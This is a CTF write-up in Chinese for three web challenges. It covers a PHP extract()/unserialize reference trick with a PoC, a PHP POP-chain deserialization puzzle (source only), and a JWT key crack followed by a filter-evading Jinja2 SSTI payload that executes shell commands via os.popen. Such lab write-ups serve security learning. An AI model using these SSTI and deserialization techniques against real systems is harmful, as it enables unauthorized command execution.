CTFshow 11月赛 WP


1.给我看看

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");

class whoami{
    public $name;
    public $your_answer;
    public $useless;

    public function __construct(){
        $this->name='ctfshow第一深情';
        $this->your_answer='Only you know';
        $this->useless="I_love_u";
    }

    public function __wakeup(){
        global $flag;
        global $you_never_know;
        $this->name=$you_never_know;

        if($this->your_answer === $this->name){
            echo $flag;
        }
    }
}

$secret = $_GET['s'];
if(isset($secret)){
    if($secret==="给我看看!"){
        extract($_POST);
        if($secret==="给我看看!"){    
            die("");
        }
        unserialize($secret);
    }
}else{
    show_source(__FILE__);
}

POC:

<?php

class whoami{
    public $your_answer;

    public function __construct(){
        $this->your_answer=&$this->name;
    }
}

$a = new whoami();
echo serialize($a);
?>

考点

$you_never_know是编码后的随机数,考点是&引用 
**利用extract($_POST);覆盖变量 
那么只需要构造$this->your_answer=&$this->name;即可,
先get一个s=给我看看!进入第一关if判断
再利用extract()变量覆盖的特性,post一个secret=xxx绕过来第二个if判断,触发反序列化

payload:

2.easyPOP

<?php 
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "
";         echo "php版本7.3哦,没有人可以再绕过我了";         echo "
";     }     public function __get($key){         $function = $this->p;         return $function();     } } class action_3{     public $str;     public $tmp;     public $ran;     public function __construct($rce){         echo "送给你了";         system($rce);     }     public function __destruct(){         urlencode($this->str);     }     public function __get($jia){         if(preg_match("/action_2/",get_class($this->ran))){             return "啥也没有";         }         return $this->ran->$jia();     } } class action_4{     public $ctf;     public $show;     public $jia;     public function __destruct(){         $jia = $this->jia;         echo $this->ran->$jia;     }     public function append($ctf,$show){         echo "
";         echo new $ctf($show);     }     public function __invoke(){         $this->append($this->ctf,$this->show);     } } if(isset($_GET['pop'])){     $pop = $_GET['pop'];     $output = unserialize($pop);     if(preg_match("/php/",$output)){             echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";             die("不可以用伪协议哦");         } }

3.通关大佬

第一步

用非admin随便登录,查看application可以看到jwt,修改jwt,user->admin,key爆破得到为12345

修改后进入第二步

第二步

发现token很快就失效了

JWT的payload中的exp模块可以修改时间,这里将时间延长

第三步

SSTI

这里<通关人>没任何过滤,但有长度限制,只能25个字符以内,<排名>和<通关时间>都有严格的校验,<通关感言>有较严格的过滤,包括下划线、单双引号、request、中括号、百分号等一些关键字符

导致只通过其中一个输入框无法getshell,需要多个输入框进行配合getshell

这里选择了通过<通关人>和<通关感言>进行配合getshell

GET
http://9e8044b0-cac5-42eb-8e39-af150b380a8d.challenge.ctf.show/edit?
a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=cat ../flag.txt
&g=read

POST
name={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|
attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}
&time=2021年11月11日

拼接可以得到

config.__init__.__globals__.__getitem__['os'].popen(cat ../flag.txt)
.read()
wp